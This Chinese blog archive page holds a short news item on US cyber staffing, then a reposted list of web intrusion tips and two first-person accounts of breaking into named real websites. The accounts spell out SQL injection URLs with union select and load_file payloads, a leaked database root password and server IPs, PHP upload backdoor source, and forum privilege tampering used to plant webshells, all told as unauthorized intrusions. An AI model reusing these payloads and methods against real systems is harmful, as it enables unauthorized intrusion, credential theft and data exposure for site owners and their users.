存档

文章标签 ‘入侵’

报告称美政府缺乏电脑专才 受黑客入侵束手无策

2009年7月24日 Chinadu 没有评论

美国一非盈利组织“公共服务伙伴关系”最近发表报告说,美国政府严重缺乏电脑专才,政府机构之间偶尔还会互相竞争,在招聘问题上意见分歧,而且官僚作风又对招聘和挽留人才形成障碍,这使美国在日益猖獗的黑客侵略行动中,处于挨打的状态。据新加坡联合早报报道,报告作者受访时说,这项分析显示,联邦政府没有积极加强电脑专才团,而且其中的协调性也不足,这些问题导致政府无力对付黑客行动。他说,这个报告显示的都是老问题。

政府部门之间在聘请人员的问题上也意见分歧。调查显示,在18个政府内外机构中产生的重重问题,大大阻碍了政府寻找人才填补空缺,更无法成立一个顶尖的电脑专才团。

报告建议联邦政府,必须大刀阔斧进行改革,设法改善政府在招聘、管理和栽培电脑人员问题上的制度。报告也提到,政府应该积极支持和鼓励在职的数理科学生联系,这将增加政府日后的电脑专才人选。

分类: 业界资讯 标签: ,

[转]年终了,谈点个人入侵的经验

2009年6月25日 Chinadu 没有评论

这一年变化比较大,换了好几个工作,最终还是回到了安全的岗位,合乎自己的职业规划!

平时空闲时间经常找些站练练手,基本是新闻闹出轰动的站与一些知名的大站。2008年的成果还是颇丰的,从某某国内2大知名社区论坛到某某著名交友站到某某2大读书站到某某mobile到某某政府站等大站,再到若干名不见经传的小站,都闪过的我的影踪。但我个人觉得没什么好炫耀的,于是没替换首页,没留下黑页,顶多是把源代码打包带回家(硬盘吃不消了,准备买个大的移动硬)。说句老实话,随便替换一个首页,就能让我出名,比如某某禁止降价的房产局站(服务器有黄片),比如某某闹禽流感的政府站,我都提前几天拿下了;不过我不想出名,更不想进局子~

下面谈谈个人入侵的经验,不分语言,只谈拿webshell,至于提权,这里不说,我也很少提权,除非确实有必要!~

1.无论什么站,无论什么语言,我要渗透,第一件事就是扫目录,最好一下扫出个上传点,直接上传shell,诸位不要笑,有时候你花很久搞一个站,最后发现有个现成的上传点,而且很容易猜到,不过这种情况发生在asp居多!

2.asp(aspx)+MSSQL先考虑注入,一般的注入都有DBowner权限可以直接写shell;如果写不了,或者web与数据库分离,那就猜数据,从后台下手了,后台可以上传或者改配置文件;

3.asp(aspx)+ACCESS拿shell一般只有3种方法,一是前台上传或者注入进后台上传;二是注入进后台改配置文件;三是注入进后台备份数据库或者暴库后知道是asp或者asa数据库于是直接写一句话;

4.php+MYSQL一般是注入进后台上传,偶尔运气好些权限够高可以注入select into outfile;然后包含,分本地与远程,远程包含在高版本php是不支持的,于是想办法本地上传图片文件或者写到log里;然后php程序某某未公开的漏洞,运气好可以直接写shell。

5.jsp+MYSQL利用数据库拿权限方面基本同php,而且jsp的上传基本很少检查文件后缀,于是只要有注入点与后台,拿shell相当的容易。jsp+ORACLE的站我碰到的不多,碰到的也是猜出用户名与密码从后台下手的。

6.无论什么大站,主站一般都很安全(不然早被人玩了),于是一般从二级域名下手,猜出主站的某些用户名与密码或者搞到主站的源代码,或者旁注得到同网段服务器后cain或arp。

7.一般的大站很少有用现成的CMS的,于是如果你有幸找到源码,那你就发了,注入漏洞啊,上传漏洞啊,写文件漏洞啊,都掌握在你手里。多看看那些大站新出来的测试分站点,那些站还在测试中,可以很轻松拿下。

8.上传有个文件名截断,这包括2个方面,一是00截断,二是长文件名截断(曾经利用这个搞下hw);然后很多写文件的地方,都可以00,屡试不爽。上传别忘了.asp(当然.asa,.cer,.cdx都可以啦)目录的妙用。

9.php站无论windows还是linux,都有magic_quotes_gpc的问题,magic_quotes_gpc为on的时候,在server变量注入的时候还是可以select into outfile,今年我搞过某未开源cms就是这个情况,一般情况下为on就别考虑写文件了,不过有这个权限别忘了读文件源码,因为load_file的参数是可以编码的。

10.猜路径或者文件在入侵中非常必要,猜不到路径的时候别忘了google(baidu太烂,google很全),于是你可以考虑看站点下的robot.txt或者robots.txt,会有惊喜。

11.工具的使用很重要,入侵之前用WVS扫扫会有助入侵;注入工具虽然很多,但不见得都好使,现在的软硬防火墙、防注入越来越厉害,那时候你就别偷懒,多手工有助你成长。

12.遇到过一流监控么,遇到其他防post的防火墙么,有时候一句话进去了都无法传大马,那时候,你先学学编码,学学变换绕过。

13.想搞一般的小站,记得查看这个小站的版权,找做这个站的公司,然后从这个公司做的其他站下手,得到源码再回头搞,我曾经通过这个方法拿下某知名制药的公司站。

14.旁注的思路永远不过时,遇到dbowner的注入,可以很舒服写shell到你需要的站,省得麻烦的提权了;运气不好,按部就班拿shell提权得到你所需。

15.永远别忘记社会工程学,利用社工把自己当成一个什么也不会的人,从某某站长的qq,身份证,邮箱等等下手,也许有时可能会有意外;另外别忘记admin,admin;test,test;123456,123456这种简单的尝试,当然,你也可以暴力破解。

16.别忽视XSS,别忽视cookie,XSS可以偷cookie,更有若干妙用,自己学会领悟;cookie可以伪造登陆,cookie可以注入,cookie注入可以绕绝大多数的防火墙。

17.平时搞站多多搜集路径啊,源码啊,工具啊,充实自己的“武器”库;最好把自己的入侵步骤记录下来,或者事后反思下,我一般都是记在txt里,另外要做到举一反三。

18.多学习,多看源码,多看公布出来的0day,脚本是入侵的前提,而不是工具,会用工具会装B你还没入门。

最后奉劝诸位有事没事改人家首页的装B者,出来混,迟早是要还的,别等进了局子再后悔。还有一点,就是我搞N多站,没挂过一个马,至于很多挂马的人,我不知道该说什么,因为大家都喜欢钱,但是还是少为之吧。

今天心头一热,把一些还记得的心得写出来了,希望大家别拍砖,入侵的时候思路是很灵活的,只要不死板,总有一条使自己成功的路。如果大家有什么不解或者疑问需要讨论,欢迎来http://www.oldjun.com讨论或者加我QQ。

还有不要抱着功利心去拿站,做安全的人靠不断拿站提升自己的技术与经验,也可以把自己的产品做的更好;若是急功近利或者为了什么利益,会...哎,不知道该怎么说...世人不知有因果,因果何曾饶过谁!

祝大家元旦快乐!

原文地址:http://www.oldjun.com/blog/index.php/archives/36/

分类: 技术文章 标签:

Mop游戏的一次入侵

2008年10月14日 Chinadu 没有评论

来源:小帅

某天,我和bloodsword大牛在玩,遇到了个mop注射点,起于好奇心的诱惑,溜达之,发现遇到了很多的困难。谁知今天又看到了那个站,于是乎就想写写什么,因为上次遇到的问题真的太多了,写啊写不完。最近五一放假,相对来说有点时间,于是想抄起武器再溜达次,顺便把过程给写写。
首先是一个游戏的站。隶属于mop的,是大话西游的官方地址。上面有许多的下载文件。
如图1

注入点为:http://www.zg.mop.com/service/sales.php?newsId=1178,于是开始注射,我比较喜欢手动的,因为我喜欢看到那个熟悉的MD5页面,于是开始手动注射,
判断长度:
http://www.zg.mop.com/service/sales.php?newsId=1178 order by 25/*,
发现返回错误,
http://www.zg.mop.com/service/sales.php?newsId=1178 order by 24/*返回正常,那么就是24个长度了,
http://www.zg.mop.com/service/sales.php?newsId=1178 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/*
发现返回如图

于是开始把“12”、“13”2出用列来代替,随便想了个admin表,想了个userid,构造http://www.zg.mop.com/service/sales.php?newsId=1178 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,userid,14,15,16,17,18,19,20,21,22,23,24 from admin/*
结果返回如图

最后猜到了一些信息,发现权限不是root的,也就是一个一般的账号,看来load_file这个路已经没戏了,换路。继续构造:
http://www.zg.mop.com/service/sa ... 0union%20select%201,2,3,4,5,6,7,8,9,10,11,pwd,userid,14,15,16,17,18,19,20,21,22,23,24%20from%20admin/*爆出了个MD5,发现这个MD5无法破解,真郁闷,难道就这么死了?!不行!继续找管理级的账号,
于是用limit,构造语句
http://www.zg.mop.com/service/sa ... 0union%20select%201,2,3,4,5,6,7,8,9,10,11,pwd,userid,14,15,16,17,18,19,20,21,22,23,24%20from%20admin limit1,1,读出第2条记录,

于是跑出了账号密码,32位加密的MD5,接着开始找后台,郁闷的是,找后台并不是想的那么简单的!啊D,明小子什么的扫了很久也没扫出什么花样,最后还是bloodsword大牛的注射工具比较强大,字典真厚,扫出了个setup目录,登录一看,吓到我了,原来是织梦的系统……这下,嘿嘿,后台等于拿到手了。如图

就是喜欢看到“Power by DedeCms 织梦内容管理系统”这几个字,于是去down了份织梦的系统,顺利的找到了后台地址,并且登陆,如图

这下比较不错了,嘿嘿,还能做点事了,看了下这个版本并不是很高,就试了下上传的办法,下载了个angel的spy2008来看看,很是郁闷,无论上传什么东西都无法进去,记得我们上次进去的时候是通过一个老外的软件,加了层马甲(把字符写入图片的工具)这样才混过检查的,于是厚着脸皮又一次的问bloodsword大牛要了份来,也成功的混过去了,大家觉得我们上传木马很简单一样的,其实其中的辛苦又谁知道呢!当一次次的挫折,一次次的错误提示,咱也害怕,害怕离成功只有那么一步,你却不知道。最后东西的确上传上去了,回显也不是404,上次是显示404

不知道为什么,可能是加了一般的马甲混不过去,手动加上文件头欺骗不成功,返回404错误,加了那工具后就成功了。如图

嘿嘿,这个是图片服务端了,就是怕gpc会影响到一句话的解析,所以采用了这个方式,只要回显并不是上面的那个404错误就行,用客户端连上去,传个马,擦下屁股一切ok了,

上次就是差不多这么拿到的,后来仔细一看发现这个服务器真老了。很多牛X同学都来过了,通过痕迹可以看出他们还成功提权上去了的,都是root的权限,就小菜我,连linux也不懂,自己的shell还只是nobody的权限,悲哀……这个文章就为我的无知纪念下吧,因为学习都是有进步的。


分类: 技术文章 标签:

入侵闪客帝国Flashempire

2006年11月9日 Chinadu 没有评论

今天没什么事正在几个论坛上闲逛,突然TUPUNCO 发来消息'闪客帝国主站有个地方好像有问题,你看看',然后直奔http://www.flashempire.com。
测试后发现mysql在4.0已上-支持union,如果利用成功,直接威胁到主机的安全。

入侵步骤 One

首先扫描一下flashempire.com 主机,发现一些常用端口。MySql数据库支持远程连接,整理了一下入侵思路还是重我比较熟悉得 脚本注入 下手吧。首先我们要得到web目录得路径,怎么办呢?就让它出错吧 ^_^ ,当提交一个错误的Query,如果display_errors = on,程序就会暴露WEB目录的绝对路径,只要知道路径,那么对于一个可以注入的PHP程序来说,整个服务器的安全将受到严重的威胁。构造语句是小意思了。
http://www.flashempire.com/theater/top10.php?id=315 就已此为突破口
提交如下信息:
http://www.flashempire.com/theater/top10.php?id='
http://www.flashempire.com/theater/top10.php?id=

返回因为提交数据出错而爆出的路径,如图;

再次思考了下,自己对闪客帝国的网站系统结构一无所知。就将我们的目标定位在MySql数据库,所有当前首要任务是拿到config.php中的数据库帐号 and 密码。由于闪客帝国的主站系统是自己开发的,我们无重得知其文件列表与数据结果。这里我们考虑直接读取文件,就是load_file(),该函数的作用是读入文件,并将文件内容作为一个字符串返回。
当然其也有很多的限制:[php手册中的解释]
1、 欲读取文件必须在服务器上
2、 必须指定文件完整的路径名
3、 必须有权限读取并且文件必须完全可读
4、 欲读取文件必须小于 max_allowed_packet
5、 如果该文件不存在,或因为上面的任一原因而不能被读出,查询返回 NULL

首先提交如下Query:

http://www.flashempire.com/theater/top10.ph ... 01=2%20union%20select%2050,8,7,6,5,4,3,load_file('/home/flash/www/theater/theater.php'),1 

返回出错信息
估计是magic_quotes_gpc = on ,过滤掉了 '号;换种方式再来一次,继续提交[char()函数]
[char()――将提交得字符转换为10进制,也可以使用SQL Encoder.exe转换为16进制得。已适应各种情况]
再次提交使用char()函数的Query:

"char(47,104,111,109,101,47,102,108,97,115,104,47,119,119,119,47,116,104,101,97,116,101,114,47,116,111,112,49,48,46,112,104,112)" 

就是"/home/flash/www/theater/theater.php"的ASCII代码"

http://www.flashempire.com/theater/top10.ph ... 01=2%20union%20select%2050,8,7,6,5,4,3,load_file(char(47,104,111,109,101,47,102,108,97,115,104,47,119,119,119,47,116,104,101,97,116,101,114,47,116,111,112,49,48,46,112,104,112)),1 

成功读出theater.php文件代码
返回成功读出theater.php文件的代码,如图;

根据经验以及文件命名, /include/dbconnect.php就是我们的目标---存放数据库的连接信息的文件。
提交新的Query:

http://www.flashempire.com/theater/top10.ph ... 01=2%20union%20select%2050,8,7,6,5,4,3,load_file(char(47,104,111,109,101,47,102,108,97,115,104,47,119,119,119,47,105,110,99,108,117,100,101,47,100,98,99,111,110,110,101,99,116,46,112,104,112)),1 

成功读出/include/dbconnect.php文件代码
返回成功读出/include/dbconnect.php文件的代码,如下;
$conn = mysql_connect("localhost","root","flash945") or die("数据库连接失败!");

^_^,成功拿到MySql数据库帐号;密码。刚才我们扫描得知MySql允许远程连接;现在我们用PhpMyadmin登陆上看看[phpmyadmin管理mysql个人感觉更方便一些]

打开 本机得 phpmyadmin/config.inc.php 作如下修改

$cfg['Servers'][$i]['host'] = 'localhost' //localhost修改为61.156.17.126[闪客帝国服务器IP] 
$cfg['Servers'][$i]['user'] = 'root'//MySql登陆帐号,不必修改 
$cfg['Servers'][$i]['password'] = '';// MySql登陆密码,修改为flash945 

保存后,浏览我们本机得phpmyadmin即可以管理闪客帝国得MySql数据库.如图;

四处逛逛收集信息,发现很对该网站管理层得帐号密码。本想用社会工程学猜猜密码,单均已失败告终。天津来得朋友又打电话叫去吃火锅,本来想带MM一起去。怕回来太晚就算了。今天的入侵告一段落。

晚上回到寝室一晚上都没睡好,反正整晚都迷迷糊糊的在想如何拿到php shell以及 /etc/password/ 等东西。早上5点就自己醒了,还在回味昨天所想到的入侵思路――――利马跑到机房继续提升权限。

入侵步骤 Two
分析了昨天拿到的数据库
Mysql—MySql数据库的信息
mysql00—估计是MySql数据库备份信息
fe4—主站数据库信息
dhht—论坛信息
blog—管理员的日记信息
a4u—公司商业信息数据
……

思路 1:
首先想到的思路是利用MySQL导出Php Shell,就是利用到手的PhpMyadmin在里面一个数据表中插入Php Shell的内容,然后利用into outfile导出到相应目录,就有了一个后门。在fe4 - fe_faq表 id=16 的位置我们插入Php Shell 代码[angel的小型上传型后门].

<?php 
$msg = copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]) ? "上传成功" : "上传失败"; 

echo $msg; 
?> 
<form ENCTYPE="multipart/form-data" ACTION="<?=$PHP_SELF?>" METHOD="POST"> 
<input NAME="MyFile" TYPE="file"> 
<input VALUE="提交" TYPE="submit"> 
</form> 

有了Php Shell代码,下面我们开始into outfile。生成文件的前提是目标文件夹可写!于是我们找到

 
http://www.flashempire.com/school/uploader.php [上传FLASH的区域,对应文件夹应该是可写的],读取/home/flash/www/school/upload_file.php 

http://www.flashempire.com/theater/top10.ph ... 01=2%20union%20select%2050,8,7,6,5,4,3,load_file(char(47,104,111,109,101,47,102,108,97,115,104,47,119,119,119,47,115,99,104,111,111,108,47,117,112,108,111,97,100,95,102,105,108,101,46,112,104,112)),1 

得到上传FLASH文件的文件夹目录为

$path = "/home/flash/www/download/fla2/"; 
//$path = "D:\\fe4\\upload\\"; 

下面浏览一下我们插入进fe_faq数据库中的Php Shell代码

http://www.flashempire.com/theater/top10.ph ... 01=2%20union%20select%2050,8,7,6,5,4,3,a,1%20from%20fe_faq%20where%20id%20=16 

返回正常,如图:

开始将fe_faq数据库中的内容导出生成Php Shell

http://www.flashempire.com/theater/top10.ph ... 01=2%20union%20select%2050,8,7,6,5,4,3,a,1%20from%20fe_faq%20where%20id%20=16%20into%20outfile%20'/home/flash/www/download/fla2/safer.php' 

试了几次都不行,失败,继续想其他办法。
估计是已下原因:
into oufile一定要引号的,而magic_quotes_gpc = on,过滤掉了我们提交的引号。

思路 2:
由论坛入手上传Php Shell,浏览dhht – setting表,得到论坛得浏览地
址 http://61.156.17.126/dhht/
然后我们注册个帐号 safer/safer ;然后在PhpMyadmin中选择dhht – user数据库并执行" select * FROM `user` where username='safer';"把我得帐号usergroupid修改为6,这样我就成论坛管理员了。
登陆后台 http://61.156.17.126/dhht/admin/ 把论坛常规选项 -附件的有效扩展名 中添加php.然后找个人少的版面上传Php后门。结果又是失败――又到数据库中查看才知道此VBB 2.3.4没有修改过,全部附件数据都在 数据库 中Php后门当然不能执行。。。555 :(

此时陷入深思中,给angel lanker 发短信。结果angel说跑来上网看看,lanker得陪人。然后又给MM发消息,说好一起吃晚饭。这时我也冷静了下,在等angel的同时继续看闪客帝国,突然发现刚才得数据库中怎么没有闪客帝国本身的论坛数据?!。浏览flashempire.net 闪客帝国论坛。Ping 了下后发现flashempire.com和flashempire.net 是2台服务器。
flashempire.com - - 202.115.129.17
flashempire.net - - 202.115.129.49
用刚才得MySql数据库帐号连接flashempire.net - - 202.115.129.495居然也进去了。又四处乱逛,对闪客帝国论坛flashempire.net也试着上传了下php后门,结果一样――又是失败!既然这里没什么问题,思路混乱中,和angel边聊天边清理思路。最后抱着试试看得心里发据下管理员的blog表,希望在里面发现密码的相关信息。在61.156.17.125-allanblog-AllowedTypes中却以外发现了我梦寐以求的东西!
AllowedTypes:jpg,jpeg,gif,mpg,mpeg,avi,mov,mp3,swf,png
很明显这个blog允许上传影音文件,那么文件夹当然是可写得,我们得PHP后门当然也能传上去。
访问61.156.17.125-allanblog-nucleus_member管理原得密码果然是MD5加密得。还有办法,很快我下载了个同样得BLOG程序并在我电脑上安装成功,设置管理帐号safer/111。

698d51a19d8a121ce581499d7b701668 safer
5dfb3282f16949956bb84731bd4a3884 allan

用PhpMyadmin替换一下顺利登陆,然后上传我们可爱的php shell。终于上传成功,感动哦。马上给lanker报喜 嘻嘻..

然后在服务器里到处逛逛,看看管理员的目录都有那么好东西;看看Apache Ftp的配置文件并下载/etc/passwd 看看。对Linux我不是很熟悉,就此不再继续深入。如果是NT的就可以考虑下抓包等,获取密码信息渗透入公司内网。约了MM吃饭可不能迟到,给闪客帝国得admin 发 gmail 去。哈哈打电话叫 MM 出来一起吃饭庆祝咯!

分类: 技术文章 标签: ,